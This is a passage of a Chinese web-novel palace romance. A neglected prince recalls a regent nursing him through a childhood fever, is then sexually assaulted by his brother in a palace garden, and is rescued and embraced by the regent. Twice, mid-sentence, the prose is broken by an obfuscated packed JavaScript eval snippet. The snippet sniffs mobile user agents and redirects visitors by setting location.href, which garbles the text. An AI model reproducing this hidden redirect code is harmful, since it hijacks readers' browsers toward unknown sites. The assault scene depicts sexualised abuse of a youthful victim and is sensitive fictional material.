直到有一次,燕元明来时,云棠正蹲在殿前未被积雪完全覆盖的空地上,用一根枯枝,照着那本《千字文》上模糊的字迹,在雪地里歪歪扭扭地描画。 小手冻得通红发僵,字迹更是东倒西歪,惨不忍睹,但他写得很认真,小脸紧绷,嘴唇抿着。 燕元明在他身后站了一会儿,静静看着。 雪地里那些扭曲的笔画,和这孩子冻得发-抖的固执模样,形成对比。 忽然,他也蹲下身。 雪地发出轻微的“嘎吱”声。 云棠吓了一跳,手里的枯枝差点掉地上,惊慌回头,对上一双沉静的眼睛。 燕元明没说话,伸出手,从后面握住了云棠那只冻僵的小手。 少年的手掌比他大得多,温热干燥,完全包裹住他冰冷红肿的手指,连同那根枯枝一起握住。 那温度烫得云棠一个激灵,下意识想缩手,却被稳稳固定住。 燕元明的声音从他头顶传来,平稳清晰。 呼出的白气与云棠呼出的白气交织在一起,在冰冷的空气中氤氲成一小片朦胧的雾气,模糊了彼此的脸。 “这个字,笔顺不对,应该这样。” 他握着云棠的手,带着那根枯枝,在洁白的,未被践踏的雪地上,一笔一划,重新写下一个字。 动作很慢,很稳地引导。 云棠僵硬的手指在他的掌心包裹和牵引下,不由自主地跟着移动。 感受着枯枝尖端在雪面上划出的阻力,感受着每一笔的起承转合,力道走向。 雪屑被划开,露出下面深色的泥土,形成清晰的痕迹。 那是一个“守”字。 结构端正,笔画有力,与云棠之前歪扭的字迹天壤之别。 然后,是第二个字,第三个字…… “守得云开见月明。” 七个字,一个一个,工工整整地出现在雪地上。 在冬日午后惨淡而纯净的天光映照下,无比深刻,仿佛不是写在雪上,而是刻进了永恒。 笔画间,蕴含-着沉稳的力量。 燕元明松开了手。 云棠的手还维持着握笔的姿势,怔怔地看着雪地上那行字。 那是他见过最好看的字,也是他第一次,如此清晰地“写”出完整而有意义的句子。 少年指着那行字,目光落在云棠仰起的,仍带着惊愕和些许迷茫的小脸上,声音更温和,落入耳中: “记住这句话。” “天不会一直阴着,雪也不会一直下。” “熬过去,坚持下去。” “总有云开月明的时候。” 云棠抬头看他。 少年逆着光,冬日下午稀薄的阳光从他身后照过来,给他的轮廓镀上一层淡淡的金边。 眉眼在光晕中有些模糊,看不真切表情。 但那双眼睛,亮得惊人,沉静如古井,又仿佛有星火在内里燃烧。 那是云棠在冰冷绝望,看不到尽头的冷宫生活中,从未见过的光亮。 陌生,却让人想要靠近,想要抓住。 心头被什么东西重重地撞了一下,酸涩滚烫。 他用力地点了点头,小脸上是前所未有的认真。 将这句话,连同少年握着他手时传来的,让人想落泪的温暖,一起深深烙进了心底最深处,支撑他度过之后无数个寒冬黑夜。 --- 最让云棠刻骨铭心,是那个同样严寒的深冬夜晚。 乃至在十年后回忆起来,依然心悸不已的, 距离娘亲去世,已过去数月。 他靠着燕元明偶尔接济的点心和偷偷省下的,坚硬如石的口粮,勉强活着。 但长期的营养不良和寒冷侵蚀,让他的身体像一根绷得太紧,随时会断的弦。 那夜,没有任何征兆,他忽然发起了高烧。 或许是白日里在雪地里待久了,寒气侵入了五脏六腑。 或许是前几日偷吃了一口已经发馊的残羹。 又或许,只是这具孱弱身体积攒的所有疲惫和损耗,终于到了爆发的临界点。 病势来得又急又猛。 到了夜里,他已烧得神志模糊。 浑身滚烫得像块火炭,皮肤摸上去烫手,却冷得直打哆嗦,牙齿格格作响。 眼前一片模糊的重影,耳朵里嗡嗡作响。 嘴里含糊地说着谁也听不清的胡话,一会儿喊冷,一会儿喊娘。 剧烈的头痛像锤子在敲打太阳穴,呼吸带着肺腑灼烧的痛楚。 破屋里除了他自己粗重艰难的喘息,牙齿打颤的咯咯声,以及窗外鬼哭狼嚎般的风声,再无其他响动。 没有水,没有药,没有能求助的人。 黑暗如潮水,从四面八方涌来,带着冰冷粘腻的气息,一点点将他吞没。 意识在高温和寒冷交替的折磨中逐渐涣散。 他想,也许就这样了吧。 和娘亲一样,悄无声息地死在这个寒冷的夜里。 明天太阳升起时,变成一具冰冷的,无人问津的小小尸体。 也好,不用再挨饿受冻,不用再害怕明天…… 就在他觉得自己最后的意识也要被黑暗吞噬,身体轻飘飘,快要坠入无底深渊时。 “砰!” 破旧的门板被大力推开,撞在墙上,发出沉闷的巨响。 凛冽的风雪和一道更加凛冽的身影一同闯入。 燕元明带着一身未散的寒气冲了进来。 银狐裘的毛领上沾满了雪粒,眉梢眼角也凝着寒霜。 他身后还跟着一个背着药箱,面色紧张惶恐,不停搓着手的老者。 看到榻上烧得满脸通红,嘴唇干裂起皮,气息微弱得几乎感觉不到的孩子。 燕元明一直没什么表情的脸上,眉头狠狠拧在了一起,眼神瞬间沉了下去。 他几步跨到榻边,伸手探了探云棠滚烫的额头,又快速摸了摸他冰冷颤-抖的手脚。 脸色愈发沉凝,薄唇抿成一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261338|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直线。 “快!”他侧头对老者低喝,声音急迫。 老者不敢怠慢,慌忙上前,放下药箱。 燕元明点起唯一一根蜡烛。 老者在微弱光线下,哆嗦着手指,搭上云棠细瘦得可怕的手腕。 诊脉片刻,老者脸色也变了,声音急促:“小公子这是风寒邪毒深-入,引发高热,来势汹汹啊!这孩子先天不足,底子太虚,气血两亏,如今邪热炽盛,正虚不能抗邪,须得立刻用猛药清热退热,固本培元,否则……否则高热持续,耗竭阴液,恐有惊厥闭脱之险,性命堪忧啊!” “用药。”燕元明只说了两个字,声音冷硬。 老者连忙打开药箱,取出几包药材,又看了看这破屋四壁漏风,连个像样的炉子都没有,面露难色。 燕元明转身,找出了一个缺了口的陶罐和一个破旧的小泥炉,又弄来些木炭。 也不知他这么短时间从哪里弄来的。 他动作迅速地升起火,架上陶罐,让老者煎药。 药很快煎好,黑乎乎,浓稠的一碗,气味刺鼻苦涩。 可难题来了。 云棠已经烧得昏沉,牙关紧闭,意识涣散,根本喂不进去。 燕元明试了几次,用勺子撬开他的嘴,药汁都从嘴角流了出来,弄湿了单薄的衣襟,一滴也没咽下去。 老者急得直跺脚:“这……这喂不进去,药效发挥不了啊!” 燕元明盯着云棠烧得干裂起皮,渗出血丝的唇-瓣,又看了看碗里黑漆漆的药汁,沉默了片刻。 烛火跳跃,映着他紧绷的侧脸和幽深的眼眸。 在老者惊愕的目光中,他端起药碗,自己含了一-大口苦涩至极的药汁。 俯下身,一手小心地捏开云棠的下颌,另一只手固定住他的后脑,然后,将自己的唇贴了上去。 “唔……”苦涩的药汁渡入口中,云棠被呛了一下,无意识地抗拒着。 眉头痛苦地皱起,喉咙里发出含糊的呜咽。 燕元明没有退开。 他极有耐心,用舌尖小心地一点点顶开云棠紧闭的齿关,将温热的药汁缓缓哺入他喉中。 感觉到喉结轻微的滚动和吞咽的动静,他才退开些许,抹了下自己的嘴角,接着含入第二口,如此反复。 苦涩的药味在两人唇齿间弥漫,混合着血腥气。 一碗药喂完,他的唇上也沾染了褐色的药汁,显得有些狼狈。 额角渗出细密的汗,不知是急是累。 喂完药,他用手背随意抹了抹自己的嘴角,目光却始终没离开云棠的脸,紧紧盯着他的反应。 或许是药汁的刺-激,或许是那一点被迫吞咽的动作唤醒了些许意识,云棠迷迷糊糊地半睁开眼。 视线一片模糊,重影晃动。 只看到一个熟悉的,令人安心的轮廓坐在榻边,背着昏黄的烛光,像一座沉默的山。 他烧得糊涂,许多感觉都迟钝了。 但那种濒死时,被人强硬拉回的触感,和唇上残留的,混合着苦涩药味的柔软触觉,却很清晰。 巨大的依赖感和恐惧感同时攫住了他。 他凭着本能,用尽微乎其微的力气,伸出滚烫的小手,在空中摸索着,死死攥住了榻边那人的衣袖。 布料细腻冰凉,他抓得很紧,指节因为用力而骨节发白,仿佛那是溺水之人抓住的最后一根浮木。 “别走……” 声音细若蚊蚋,几乎被呼吸声淹没,带着高烧的沙哑,浓重的鼻音,还有全然的依赖和恐惧。 怕这个人离开,怕自己再次被丢回冰冷的黑暗和死亡的怀抱。 燕元明正要起身去洗手,处理药碗的动作,顿住了。 他低头,看着那只紧紧攥着自己衣袖的,瘦小得可怜,因为用力而微微颤-抖的手。 又抬眼看着榻上的小孩,脸烧得通红,汗湿了鬓发。 眼睛半睁半闭,里面盛满了脆弱祈求和无助依赖。 那双总是沉静无波的眼眸里,掠过一丝极为复杂的情绪。 像是被什么尖锐的东西刺了一下,又像是冰层下有什么东西悄然融化。 半晌,他重新在冰冷坚硬的榻边坐了下来,没有再抽回自己的衣袖。 反而伸出另一只手,掌心向上,轻轻握住了云棠那只紧紧抓着他衣袖的滚烫小手。 他的手温热干燥,将那只小手完全包住。 “嗯,”他低声应道,低沉的声音在只有风声和炭火噼啪声的寂静深夜里响起,“不走。” 那一-夜,他就真的那样,坐在冰冷咯人的榻边,一手任由云棠抓着衣袖,一手回握着云棠的手。 守着那盆好不容易才烧旺一点,散发着有限热量的炭火,没有离开一步。 窗外是肆虐的风雪,屋内是摇曳的烛光和病人粗重的呼吸。 他保持着那个姿势,背脊挺直。 偶尔探探云棠的额头,用浸了冷水的帕子给他擦拭降温,或者拨弄一下炭火,让温度保持。 时间在寒冷与担忧中缓慢流逝。 直到窗外漆黑的天际,渐渐泛起一抹淡薄的鱼肚白,风雪似乎也小了些。 云棠的体温在药物和后半夜的物理降温下,终于开始逐渐降下去。 滚烫的皮肤慢慢恢复正常温度。 呼吸也变得平稳悠长,陷入真正的沉睡,抓着他衣袖的手也稍稍松了些力道。 燕元明这才轻轻抽回自己已经麻木僵硬的手臂,活动了一下脖颈和肩膀。 他看了一眼床上安然睡去的孩子,又看了看窗外透进来的微光,悄无声息地收拾好药碗等物。 又给炭盆加了最后一点炭,确保能维持到天明。 对一直缩在角落,不敢出声的老大夫点了点头,示意可以离开了。 临走前,他站在门边,回头最后看了一眼榻上沉睡的云棠。 门轻轻关上,将破晓前最深的寒意关在门外。 4. 第 4 章 “咚——” 穿透力极强的更鼓声,沉闷而悠远,一连五响。 穿透清莲苑破旧的窗纸和厚重的夜幕,骤然将云棠从与现实交织的深沉回忆中惊醒。 “嗬!” 他猛地抬起头,动作太大,脖颈发出轻微的“咔”声。 额角竟渗出细密的冷汗,冰凉一片。 心脏在胸腔里失了控般,急促而沉重地跳动着,“咚咚”作响,震得耳膜发疼。 仿佛刚从那场几乎夺去性命的高烧和绝望深渊中挣扎出来,重新回到人间,带着劫后余生的虚脱和心悸。 眼前是熟悉的,冰冷空旷的内室景象,身下是硬冷硌人的床榻。 臂弯里是那件玄黑貂裘,松雪与药草交织的清冽气息依旧幽幽萦绕在鼻端,真实可触。 不是冷宫。 没有高烧。 没有那个在绝望深夜里闯入,喂他喝药,握着他的手,守了他一整夜直至天明的少年。 只有更鼓声,一声接一声,空洞规律,无情昭示着深夜的流逝,和现实的无处可逃。 五更天了。 原来……已经过去整整十年了。 云棠缓缓松开不知何时又死死攥紧了貂裘绒毛的手指。 指尖因为过度用力而微微发麻。 回忆带来的短暂却汹涌的暖意,如潮水般迅速褪-去。 留下的是更空旷的河床和更加深重的,现实里无处不在的孤寒。 殿内的炭盆熄灭了,连那点微弱的红光也看不见了,只有冰冷的灰烬。 寒意像活物一样从四面八方渗透进来,钻进单薄的锦袍,穿透皮肤。 他控制不住地打了个冷颤,牙齿轻轻磕碰,坐在榻边,维持着那个蜷缩的姿势,许久没有动。 月光偏移,从破损的窗纸一角挪到了另一角,在地上投下的光斑换了形状和位置。 更鼓声早已停歇,万籁俱寂,深宫里连虫鸣都没有,只剩下风声。 永无止境的,仿佛从时间尽头吹来的风声,呜咽着,盘旋着,提醒着他身在何处。 他轻轻吐-出一口气。 白色的雾气在冰冷的空气中凝成一团,迅速消散,不留痕迹。 他抱着那件貂裘,和衣躺下,侧身蜷缩在冷硬得硌人,没有一丝暖意的床榻上。 将宽大的貂裘展开,仔细地盖在自己身上,从肩膀到脚踝。 绒毛贴着冰冷僵硬的躯体,上面残留着另一个人的体温和气息。 一个脆弱却真实存在的小小茧房,将他与冰冷的宫殿暂时隔开。 他将脸深深埋进毛领深处。 冰凉的脸颊蹭着柔软温暖的绒毛,汲取着令人安心的气息。 闭上眼。 记忆的碎片在黑暗中闪烁,温暖与冰冷交织。 “……王爷。” 一声极低,极轻,几乎只有气息的呢-喃,从毛领深处溢出,消散在清莲苑冰冷空旷的沉沉夜色里。 无人听闻。 只有窗外,风声呜咽,不知疲倦。 细雪不知何时又悄然飘落,簌簌地,覆盖着宫道,屋檐,枯枝,以及所有过往的痕迹。 晨光熹微,清莲苑的寂静被远处隐约传来的晨钟打破。 楚云棠几乎一-夜未眠。 种种情绪在脑海中反复撕扯,直到窗外天际泛起灰白,他才勉强合眼浅眠了片刻。 此刻醒来,只觉得眼眶酸涩,太阳穴隐隐作痛,身体沉重。 值夜的宫女轻手轻脚地进来,端着半盆温的洗脸水。 清莲苑的热水供应从来都是最末等,需得提前许久去催,还不一定能有。 云棠没说什么,就着那点温凉水草草洗漱。 水面映出一张苍白憔悴的脸,眼下泛着淡淡的青黑。 他换了身衣裳。 依旧是月白色的锦袍,只是比昨日那件更旧些,袖口有些磨损,颜色也洗得有些发灰。 料子是往年内务府按例发放的陈旧库缎,触-手微硬,不如新缎柔软亲肤。 他仔细系好每一处衣带,将领口拢得严严实实。 “殿下,该去慈宁宫请安了。”宫女在门外低声提醒,声音里带着小心。 按宫规,皇子公主每日清晨需向太后,皇后请安。 云棠生母早逝,位份低微,皇后又早薨,故只需向太后晨昏定省。 这本就是个过场,多数时候他连太后的面都见不着,只在殿外磕个头便算完事。 但礼不可废,尤其是他这般无依无靠的皇子,更不敢让人抓住丝毫把柄。 “知道了。”云棠应了一声,声音有些沙哑。 他走出内室,穿过依旧冰冷空旷的正殿。 昨日那件玄黑貂裘被他仔细叠好,收好。 那松雪气息似乎还萦绕在鼻尖,但伸手触及,只有衣料的冰凉。 推开殿门,腊月清晨的寒风扑面而来,比昨夜更添几分凛冽。 天色是沉郁的铅灰色,像是又要下雪。 庭中枯树上挂着冰凌,地面上前日的积雪尚未化尽,冻得坚硬,踩上去咯吱作响。 云棠独自一人走出清莲苑,没有带随从。 事实上,清莲苑可供使唤的宫人本就不足数。 两个粗使太监要负责所有杂役,一个宫女兼顾打扫与近身侍候已是勉强。 太后不待见他,内务府克扣用度,他也没有多余的钱财打点收买人心,身边自然留不住得力的人。 况且,独自往来,反而少些是非。 慈宁宫位于内廷东侧,气派恢弘,与清莲苑的偏僻破落形成天壤之别。 一路行去,宫道渐渐开阔,来往的太监宫女也多了起来。 见到他,许多人远远便低下头,或假装没看见快步走开,或敷衍地行个礼,毫不掩饰的轻慢与疏离。 偶尔有低位嫔妃的轿辇经过,帘幕低垂,仿佛根本没注意到路边这个步行的皇子。 云棠早已习惯,微垂着眼,目不斜视。 抵达慈宁宫时,宫门外已等候着几位同样来请安的嫔妃和低位皇子公主。 众人三两聚在一起低声谈笑。 见到云棠到来,谈笑声顿了顿,各种目光扫过来,探究的,讥诮的,漠然的。 无人与他打招呼。 他走到人群边缘,撩袍跪下。 汉白玉铺就的宫阶冰冷坚硬,寒气透过单薄的衣料和膝盖,刺入骨髓。 他挺直背脊,双手交叠置于身前,低下头,做出恭谨的姿态。 时间一点点流逝。 慈宁宫内隐约传来谈笑声,是早些到的,得脸的嫔妃或皇子皇女在被召见。 宫人进出,带起细碎脚步声和帘幕响动。 门外等候的人渐渐少了,被一一唤入,又陆续出来。 云棠始终跪在原地,膝盖从最初的刺痛,到逐渐麻木,失去知觉。 寒气顺着腿向上蔓延,腰背也开始僵硬酸痛。 清晨只饮了半碗稀薄的米粥,此刻腹中空空,寒意与饥饿交织,让他眼前发黑。 但他一动不动,连呼吸都放得轻缓。 他知道,太后不会见他。 这跪候的半个时辰,是惯例,也是不言自明的折辱与敲打。 提醒他记住自己的身份,记住生母的卑微,记住在这深宫之中,他是何等无足轻重,任人拿捏的存在。 终于,一个穿着体面的嬷嬷从殿内走出。 她目光扫过依旧跪在阶下的云棠,脸上没什么表情,声音平板无波:“太后娘娘今日身子乏,不见外客了,七殿下且回吧。” “儿臣谨遵慈谕,恭祝太后娘娘凤体安康。”云棠依礼叩首,声音平稳,听不出情绪。 他慢慢站起身。 双腿麻木得不听使唤,针刺般的麻痒从脚底一路窜到膝盖,踉跄了一下才勉强站稳。 他悄然活动了一下僵硬的脚踝,待那股难受的麻痹感稍退,才转身沿着来路慢慢往回走。背影挺直,却单薄得仿佛一阵风就能吹倒。 回清莲苑有两条路。 一条是较为宽敞平坦的主宫道,沿途会经过几处妃嫔宫殿和御书房附近,往来人多眼杂。 另一条则是穿过御花园西北角的偏僻小径,绕远些,但胜在人少清净。 云棠毫不犹豫地选择了后者。 他不想遇见任何人,不想再承受那些或明或暗的打量和议论。 昨日宫宴之事,想必早已传遍宫廷各个角落,今日太后刻意不见,更是一种态度。 他只想尽快回到清莲苑那方狭小冰冷的天地里。 至少那里没有这么多眼睛。 踏入御花园,冬日的萧瑟扑面而来。 昔日繁花似锦的园子此刻一片凋零。 荷塘结了厚厚的冰,残荷枯梗冻在冰面下,姿态扭曲。 花圃里只剩下些耐寒的冬青,叶片蒙着一层灰白。 假山石上覆盖着未化的积雪,在灰暗天光下显得冷硬嶙峋。 树木光秃秃的枝桠伸向天空,像无数干枯的手臂。 小径以鹅卵石铺就,积雪清扫得不算彻底,有些地方结了薄冰,踩上去需格外小心。 园中寂静,只有寒风穿过枯枝的呜咽和云棠自己轻缓的脚步声。 他拉紧了衣领,低头快步走着,只想尽快穿过这片开阔地带。 就在他经过一处太湖石堆叠的假山时。 “哟,这不是七弟么?”一道带着戏谑和恶意的声音,突兀地从假山后响起。 云棠脚步猛地顿住,心脏骤然一缩。 假山后转出三个人,为首的正是一身华贵绛紫常服的三皇子楚云凌。 他今日未戴冠,只用金簪绾发,脸上带着宿醉未醒的慵懒和一种猫捉老鼠般的玩味笑意。 身后跟着两名身材魁梧,眼神精悍的贴身太监,一左一右,堵住了小径的去路。 云棠瞳孔微缩,下意识后退半步,脊背绷紧。 他怎么会在这里? “怎么,见了皇兄,连礼都不会行了?” 楚云凌慢悠悠地踱步上前,嘴角噙着笑,目光像冰冷的钩子,在云棠苍白的脸上逡巡。 云棠垂下眼,依礼躬身:“见过三皇兄。” “免了。”楚云凌虚抬了下手,笑容更深,却未达眼底,“七弟这是打哪儿来啊?哦,是了,刚从慈宁宫请安回来吧?啧,跪了有半个时辰?” 话语里的讥讽毫不掩饰。 云棠抿紧唇,没接话。 楚云凌又上前一步,距离近得能闻到他身上传来的,熏香的浑浊气息。 他上下打量着云棠,目光像是要剥开那层单薄的月白锦袍。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261339|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么一个人走这么偏的路?”他声音压低了些,带着黏腻的恶意。 云棠指尖冰凉,袖中的手悄悄握紧:“臣弟不过是觉得此路清静。” “清静?”楚云凌嗤笑一声,伸出手,一把捏住了云棠的下巴。 力道极大,手指如同铁钳,强迫他抬起头来。 “唔……”云棠猝不及防,痛哼一声,被迫对上了楚云凌那双满是恶意的眼睛。 楚云凌重复着,手指用力,在云棠白皙细腻的下颌皮肤上留下刺目的红痕。 “听说昨夜……摄政王亲自送你回的清莲苑?嗯?” 他凑得更近,浑浊呼吸直接喷在云棠脸上,令人作呕。 “他碰你了?”楚云凌的声音压得极低,带着下流的揣测和毫不掩饰的觊觎。 “那件貂裘,裹得挺严实啊,里头那身湿透的衣裳,是他给你换的?” 云棠浑身血液都冲到了头顶,又瞬间冻结。 屈辱感排山倒海般涌来,比昨日殿上更甚。 昨日至少众目睽睽,尚有顾忌。 此刻这偏僻角落,对方屏退了左右寻常宫人,恶意便如脱缰的野兽,再无遮掩。 “三皇兄慎言!”他挣扎着想摆脱钳制,声音因愤怒和恐惧而发颤,“王爷只是顾及情谊,送我回宫而已。” 楚云凌像是听到了什么天大的笑话,哈哈大笑起来。 捏着他下巴的手却丝毫未松,反而更用力了些,疼得云棠眼眶泛红。 “楚云棠,你当我是傻子?他燕元明是什么人?先帝亲封的摄政王,权倾朝野,眼高于顶,满朝文武他正眼瞧过几个?他会跟你一个宫女生的贱-种讲情谊?” 他另一只手忽然抬起,猛地扯开了云棠拢得严实的衣领。 “你做什么?” 云棠惊骇,奋力挣扎,但双手立刻被那两名上前的大监一左一右牢牢按住,动弹不得。 对方力气极大,手指像铁箍般嵌进他的胳膊,传来阵阵钝痛。 衣领被扯松,露出少年纤细脆弱的脖颈和一小片白皙的锁骨。 或许是因为敏感,或许是因为寒冷,竟还残留着一点淡淡的微红。 此刻,露在冰冷的空气和楚云凌黏腻的视线下,格外刺眼。 楚云凌眼睛一亮,像发现了什么有趣的猎物,低头凑近,目光贪-婪地在那片肌肤上流连。 手指松开他的下巴,转而抚上那截精致的锁骨凹陷处。 指尖冰凉,带着薄茧,刮过细腻的皮肤。 “昨日宫宴离得远,没看真切……” 他啧啧两声,语气里的狎昵令人脊背生寒,“这身子,这皮肉,果然值得惦记。” 云棠浑身僵住,血液倒流,一股恶心的感觉从胃里翻涌上来,直冲喉咙。 他想吐,却只能死死咬住牙关,浑身抑制不住地发起抖来。 “放开我……”他从牙缝里挤出声音,带着颤音。 楚云凌非但没放,反而变本加厉。 那只原本捏着他下巴的手,突然探入了他被扯松的衣襟内,隔着薄薄的里衣,按上了他腰侧的软肉。 “啊!”云棠惊叫一声,身体剧烈一颤,挣扎得更厉害。 可双臂被死死禁锢,根本挣脱不开。 那只手在他腰侧用力揉-捏,布料摩-擦着皮肤,带来一阵阵令人头皮发麻的恶心触感。 云棠脸色惨白如纸,呼吸急促,额角渗出冷汗,胃里翻江倒海,几乎要当场呕出来。 “装什么清高?” 楚云凌贴近他,嘴唇几乎贴上了他的耳廓,湿热污浊的气息灌入耳中,带着恶意和毫不掩饰的鄙夷。 “你娘就是个爬床的宫女,靠身子才得了那么一回宠幸,生了你,你能干净到哪儿去?骨子里流的,就是下-贱的血。” 每一个字都像淬了毒的针,狠狠扎进云棠心里最痛,最不堪的地方。 他眼前发黑,耳边嗡嗡作响。 母亲苍白温柔的脸和眼前这张写满恶意的脸重叠交错,巨大的悲愤和屈辱几乎要将他撕裂。 “听说司礼监那几个老阉货,”楚云凌的声音压得更低,像毒蛇吐信,“最好你这一口细皮嫩肉,带点皇子身份的,你说,我要是跟皇兄提一句,说你自愿去伺-候他们,给你那死鬼娘挣个追封,皇兄会不会准,嗯?” 云棠瞳孔骤然缩紧,浑身的血液似乎在这一瞬凝固了。 宫中有些隐秘的,令人毛骨悚然的传闻。 光是零星的传闻,就足以让人夜间惊梦。 楚云凌看着云棠失去所有血色的脸,眼中闪过满意而残忍的光芒。 他屈起膝盖,毫不留情地顶开云棠紧闭的双腿,强行挤入,将人死死抵在背后冰冷的假山石上。 粗糙嶙峋的石面硌着背脊,冰冷的触感透过衣物传来。 身前是楚云凌散发着恶意的身体,带来强烈的侵-犯感和窒息般的恐惧。 云棠浑身僵直如铁,连颤-抖都忘了。 睁大的眼睛里充满了濒死般的绝望和惊恐,泪水不受控制地涌上来,模糊了视线。 楚云凌欣赏着他脸上的恐惧,笑容越发愉悦,“现在知道怕了?昨日在燕元明面前装可怜的时候,不是挺能惹人疼的么?让我看看,你这副样子,是不是更招人疼……” 他低头,朝着云棠苍白颤-抖的唇凑近。 5. 第 5 章 “三殿下好雅兴。” 一道平静的声音从廊后传来,不疾不徐。 楚云凌动作猛地僵住。 云棠浑身一颤,抬头望去。 梅林小径的尽头,月洞门下,一道玄黑身影静静立在那里。 燕元明。 他今日未穿朝服,只一身玄黑常服,外罩同色大氅,墨发用玉冠束起,露出线条分明的侧脸。 他就那样站着,目光落在楚云凌抓着云棠的手上。 明明没什么表情,楚云凌却像被烫到般,猛地松了手。 “王爷……”他干笑两声,往后退了半步,“您怎么在这儿?真是巧了,本王正和七弟说话呢。” 燕元明没理他。 他缓步走来,玄黑衣袍拂过积雪,发出沙沙声,让楚云凌莫名感到压力。 走到近前,燕元明先看了云棠一眼。 云棠还僵在那里,衣襟被扯得凌乱,锁骨处红痕刺目,脸色白得像纸,眼眶红了,泪光在眼底打转,要落不落。 燕元明眸色深了深。 他转向楚云凌,语气平淡:“确实是巧,本王路过,不想打扰了三殿下的雅兴。” “不敢不敢,”楚云凌挤出一丝笑,“就是碰巧遇上七弟,关心两句。” “关心?”燕元明重复这两个字,目光扫过云棠凌乱的衣领,“三殿下关心的方式,倒是特别。” 楚云凌脸色变了变。 燕元明不再看他,走到云棠身边,为他整理被扯乱的衣领。 指尖抚过锁骨处红痕时,停顿了一瞬。 那里肌肤细腻,红痕在白皙皮肤上格外刺眼。 他眸色暗了暗,手上动作轻柔,仔细将衣领拢好,又拂去云棠肩头落的雪。 然后,将人轻轻拉到自己身后。 这才抬眼看向楚云凌。 “御花园景致虽好,”燕元明道,“但强折易伤手,三殿下是聪明人,当知分寸。” 他顿了顿,补充道: “七殿下虽性情温和,却也是皇子之尊,有些玩笑,开不得。” 这话说得客气,却像一记耳光,狠狠扇在楚云凌脸上。 楚云凌脸色青白交加,拳头在袖中攥紧,却不敢发作。 眼前这位是摄政王,权倾朝野,连皇兄都要让他三分,自己确实得罪不起。 他咬牙挤出一句:“王爷说的是,是本王鲁莽了。” 说罢,狠狠瞪了云棠一眼,转身就走。 那两个太监连忙跟上。 经过云棠身边时,其中一个“不小心”撞了他肩膀一下,压低声音啐道: “贱种。” 声音很轻,但燕元明听见了。 他眼神骤然一冷。 那太监吓得腿一软,差点跪倒,连滚带爬地追着楚云凌去了。 人走了,一切重归寂静。 只有风吹过枝头,簌簌落下些许雪沫。 云棠还僵在原地。 紧绷的神经骤然松懈,种种情绪涌上心头,冲得他眼眶发酸。 他死死咬着唇,不想哭,可眼泪不听话,一颗一颗往下掉,砸在雪地里,晕开小小的湿痕。 燕元明转过身,看着他。 小家伙站在那儿,肩膀微微发抖,嘴唇被他自己咬破了,渗出血珠,和苍白的脸色对比鲜明。眼泪无声地流,睫毛湿成一缕一缕的,眼眶通红。 可怜得要命。 燕元明叹了口气。 他伸出手,指腹轻轻擦过云棠的唇,拭去那点血迹。 “疼么?”他问,声音不自觉放柔。 云棠摇头,眼泪掉得更凶。 他其实不想哭的,尤其是在燕元明面前。 可刚才的恐惧太真实,楚云凌的话像刀子,一句句扎在他心上。 还有那只手……摸过他腰侧的感觉,现在想起来还让他浑身发冷。 他抬手想擦眼泪,手腕却被握住了。 燕元明握住他的手腕,掌心轻轻拭去他脸上的泪。 “吓着了?”燕元明低声问。 云棠点头,又摇头。 他不仅是吓着了,更多是委屈。 为什么总是他?为什么谁都可以欺负他? 他什么都没做错,只是想安安稳稳地活着,怎么就那么难。 眼泪止不住。 燕元明看着他哭得停不下来的模样,心底软得一塌糊涂。 这小家伙,平时看着安静乖巧,其实骨子里倔得很,受了委屈也不说,就自己忍着。 可越是这样,越让人心疼。 他忽然向前半步。 两人距离拉近,云棠看见他深邃的眼,那里面有自己的倒影。 狼狈的,哭得乱七八糟的。 燕元明低头,看进他湿漉漉的眼睛里。 “这么委屈?”他声音压得很低,带着诱哄的意味。 云棠抽噎着,说不出话。 “要不要抱?”燕元明问。 云棠怔住了,眼泪都忘了流。 他睁大眼睛看着燕元明。 那双深邃的眼里,有他看不懂的深沉,像是怜惜,像是心疼。 理智在尖叫,该拒绝,该保持距离,该记住自己的身份。 可情感汹涌如潮。 他想要这个拥抱。 想被燕元明抱着,想躲进那个温暖的怀里,想感受那份独一无二的安全感。 犹豫只有短短一瞬。 云棠不管不顾地扑进了他怀里,手臂紧紧环住他的腰,脸埋进他胸口,眼泪浸湿衣襟。 燕元明身体微顿,展开手臂,将人圈进怀里,一手揽着他的背,一手轻拍他单薄的后肩。 “好了,”他低声说,声音在胸腔里震动,“没事了。” 云棠抱得很紧。 手指死死攥着燕元明背后的衣料,像溺水的人抓住浮木。 脸埋在他颈窝,深深呼吸,是熟悉的松雪气息,让他安心。 他舍不得松手。 燕元明也不催他。 手掌在他后背轻拍,指尖划过他后颈敏感处,带来细微的颤栗。 他低下头,唇几乎贴上云棠的耳廓,声音低得只有两人能听见: “抱这么紧……这么喜欢?” 云棠身体一颤。 耳尖瞬间红透,像要滴血。 他把脸埋得更深,声音闷闷的,带着哭腔:“……嗯。” 燕元明胸腔传来低沉的震动。 他在笑。 手臂收得更紧些,将人完全护在怀里。 小家伙身体单薄,抱在怀里轻飘飘的,柔软温热,像只小猫。 这个拥抱持续了很久。 久到云棠从最初的抽泣,渐渐变成小声的哽咽,最后平静下来。 却依旧不肯松手。 他安静地抱着,脸贴着燕元明的胸膛,听那沉稳有力的心跳。 扑通,扑通。 每一下都让他安心。 